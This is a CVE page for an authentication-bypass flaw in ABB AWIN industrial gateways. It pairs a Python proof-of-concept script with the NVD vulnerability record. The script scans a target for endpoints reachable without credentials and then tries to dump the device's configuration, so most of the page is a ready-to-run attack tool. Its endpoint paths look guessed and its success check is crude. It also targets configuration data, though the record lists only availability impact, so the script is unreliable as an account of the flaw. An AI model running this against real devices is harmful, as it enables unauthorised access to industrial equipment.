CVE-2025-13778

#!/usr/bin/env python3 """ CVE-2025-13778 PoC - ABB AWIN GW100/GW120 Authentication Bypass This PoC demonstrates the missing authentication vulnerability in ABB AWIN gateways. Note: Only use this for authorized security testing. """ import requests import sys import socket from urllib.parse import urljoin def check_vulnerability(target_ip, target_port=80): """ Check if target ABB AWIN device is vulnerable to CVE-2025-13778 by attempting to access critical functions without authentication. """ print(f"[*] Testing target: {target_ip}:{target_port}") # Critical functions that should require authentication critical_endpoints = [ "/api/system/config", "/api/system/status", "/api/network/settings", "/api/firmware/info", "/cgi-bin/system_config.cgi", "/cgi-bin/status.cgi" ] headers = { 'User-Agent': 'Mozilla/5.0 (compatible; Security-Scanner)', 'Accept': 'application/json, text/html' } vulnerable = False for endpoint in critical_endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, headers=headers, timeout=5, verify=False) # Check if we get a successful response without authentication if response.status_code in [200, 401, 403]: # If we get 200 with actual data, vulnerability likely exists if response.status_code == 200 and len(response.content) > 50: print(f"[+] VULNERABLE: {endpoint} accessible without auth") print(f" Response length: {len(response.content)} bytes") vulnerable = True elif response.status_code == 401: print(f"[-] Protected: {endpoint} requires authentication") except requests.exceptions.RequestException as e: print(f"[!] Error accessing {endpoint}: {e}") return vulnerable def exploit_configuration_dump(target_ip, target_port=80): """ Attempt to dump device configuration without authentication. """ print(f"\n[*] Attempting configuration dump...") config_endpoints = [ "/api/system/config", "/config/system.conf", "/api/network/settings" ] for endpoint in config_endpoints: url = f"http://{target_ip}:{target_port}{endpoint}" try: response = requests.get(url, timeout=5, verify=False) if response.status_code == 200: print(f"[+] Retrieved: {endpoint}") print(f" Content preview: {response.text[:200]}...") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2025_13778_poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 print(f"CVE-2025-13778 PoC for ABB AWIN Gateway Authentication Bypass") print(f"=" * 60) if check_vulnerability(target, port): print(f"\n[!] Target appears VULNERABLE to CVE-2025-13778") exploit_configuration_dump(target, port) else: print(f"\n[*] Target does not appear vulnerable")

{"cve": {"id": "CVE-2025-13778", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:53:49.283", "lastModified": "2026-05-19T15:06:36.883", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing authentication for critical function vulnerability in ABB AWIN GW100 rev.2, ABB AWIN GW120.This issue affects AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}, {"lang": "es", "value": "Vulnerabilidad de ausencia de autenticación para función crítica en ABB AWIN GW100 rev.2, ABB AWIN GW120. Este problema afecta a AWIN GW100 rev.2: 2.0-0, 2.0-1; AWIN GW120: 1.2-0, 1.2-1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://search.abb.com/library/Download.aspx?DocumentID=4JNO000329&LanguageCode=en&DocumentPartId=&Action=Launch", "source": "[email protected]"}]}}